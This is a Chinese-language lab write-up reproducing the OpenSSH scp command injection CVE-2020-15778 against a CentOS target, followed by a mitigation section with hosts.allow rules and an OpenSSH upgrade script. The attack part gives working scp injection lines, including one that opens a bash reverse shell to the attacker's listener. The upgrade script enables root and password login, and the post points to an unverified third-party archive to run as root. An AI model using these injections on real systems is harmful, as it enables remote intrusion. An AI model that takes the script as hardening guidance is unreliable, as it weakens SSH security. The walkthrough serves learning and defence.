漏洞:CVE-2020-15778
2020年6月9日發現漏洞,2020年7月18日公開漏洞。
使用SCP中遠端功能進行命令注入。
OpenSSH版本 =<8.3p1
ssh連線密碼
攻擊方:kali:192.168.0.130
靶機: CentOS7:192.168.0.187
kali:
上傳任意檔案到靶機上,檔案允許為空,因為上傳的檔案不是主角。而是``裡面的命令作為注入點進行攻擊。
scp dic.txt root@192.168.0.187:'`touch /tmp/test.txt` /tmp'
命令解讀:使用scp將本地檔案dic.txt
上傳到伺服器root@192.168.0.187
的/tmp
資料夾,使用``括起來的touch /tmp/test.txt
就是注入的命令,會生成一個新的檔案test.txt
。
靶機:
靶機檢視/tmp
目錄下的檔案:
[root@localhost tmp]# ls
dic.txt test.txt
這樣就實現了遠端命令的執行。
kali:
使用命令獲取靶機的許可權。
#使用一個視窗開啟nc進行監聽
nc -lvvp 7777
#開啟另一個視窗,上傳反彈shell的命令
scp dic.txt root@192.168.0.187:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'
執行監聽:
上傳注入命令:
檢視監聽結果:
可以執行命令,並且獲取響應的資訊。
漏洞復現簡單,但是需要知道ssh密碼。主要針對已知ssh密碼,但沒有存取許可權/登入許可權的攻擊
。
修改組態檔/etc/hosts.allow
使用如下的格式新增ssh存取許可權:
sshd:192.168.0.158:allow #允許IP地址為192.168.0.158的主機使用ssh連線
sshd:192.168.0.*:allow #允許IP地址段為:192.168.0.0/24的主機使用ssh連線
sshd:all:deny #拒絕除允許地址之外的所有主機使用ssh連線
此方法主要用於拒絕靶機進行遠端ssh登入,提高ssh登入安全性。
通過shell指令碼執行:
#!/bin/bash
#更新ssh服務指令碼
#下載
function download()
{
##下載-將函數內部命令複製到命令列執行
echo "正在獲取安裝包..."
echo "獲取openssh..."
wget https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-8.4p1.tar.gz
echo "獲取openssl..."
wget https://www.openssl.org/source/openssl-1.1.1g.tar.gz
echo "獲取zlib..."
wget http://www.zlib.net/zlib-1.2.11.tar.gz
}
echo "請確保指令碼與以下檔案在同一資料夾:zlib-1.2.11.tar.gz、openssh-8.4p1.tar.gz、openssl-1.1.1g.tar.gz"
echo "如果沒有上述檔案,請中斷(Ctrl+C)指令碼。使用編輯器開啟本檔案,頭部有下載方法"
sleep 1
echo "[========> ] 33%"
sleep 1
echo "[================> ] 66%"
sleep 1
echo "[========================> ] 99%"
sleep 1
#解壓
echo -e "\033[1;32m 解壓安裝包 \033[0m"
tar --no-same-owner -zxvf zlib-1.2.11.tar.gz
tar --no-same-owner -zxvf openssh-8.4p1.tar.gz
tar --no-same-owner -zxvf openssl-1.1.1g.tar.gz
#安裝zlib
echo -e "\033[1;32m 編譯安裝 zlib \033[0m"
cd zlib-1.2.11
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/zlib
make && make install
sleep 1
#安裝openssl
echo ""
echo -e "\033[1;32m 編譯安裝openssl \033[0m"
cd ../openssl-1.1.1g
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./config --prefix=/usr/local/ssl --shared
make && make install
echo '/usr/local/ssl/lib' >> /etc/ld.so.conf
ldconfig -v
sleep 1
#安裝openssh
echo ""
echo -e "\033[1;32m 編譯安裝openssh \033[0m"
cd ../openssh-8.4p1
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/openssh --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl
make && make install
sleep 1
#修改組態檔
echo -e "\033[1;32m 修改ssh組態檔 \033[0m"
echo 'PermitRootLogin yes' >>/usr/local/openssh/etc/sshd_config
echo 'PubkeyAuthentication yes' >>/usr/local/openssh/etc/sshd_config
echo 'PasswordAuthentication yes' >>/usr/local/openssh/etc/sshd_config
#備份原有檔案
echo -e "\033[1;32m 備份與修改bin與keygen檔案 \033[0m"
systemctl stop sshd
mv /etc/ssh /etc/ssh.bak
mkdir /etc/ssh
cp -rf /usr/local/openssh/etc/* /etc/ssh/
mv /usr/sbin/sshd /usr/sbin/sshd.bak
cp /usr/local/openssh/sbin/sshd /usr/sbin/sshd
mv /usr/bin/ssh /usr/bin/ssh.bak
cp /usr/local/openssh/bin/ssh /usr/bin/ssh
mv /usr/bin/ssh-keygen /usr/bin/ssh-keygen.bak
cp /usr/local/openssh/bin/ssh-keygen /usr/bin/ssh-keygen
#重新啟動服務
echo -e "\033[1;32m 重新啟動服務 \033[0m"
mv /lib/systemd/system/sshd.service .
systemctl daemon-reload
cp ./contrib/redhat/sshd.init /etc/init.d/sshd
/etc/init.d/sshd start
systemctl status sshd
echo -e "\033[1;32m ssh服務更新完成,目前版本"
ssh -V
echo -e "##########\033[0m"
或者直接下載
下載連結:
連結: https://pan.baidu.com/s/14aegreBtRdH1BShyohEwXw
提取碼: c47t ,複製這段內容後開啟百度網路硬碟手機App,操作更方便哦
使用命令:
tar -zxvf ssh_update.tar.gz
cd ssh_update/
bash ssh-update.sh
安裝成功檢視版本:
[root@localhost ssh_update]# ssh -V
OpenSSH_8.4p1, OpenSSL 1.1.1g 21 Apr 2020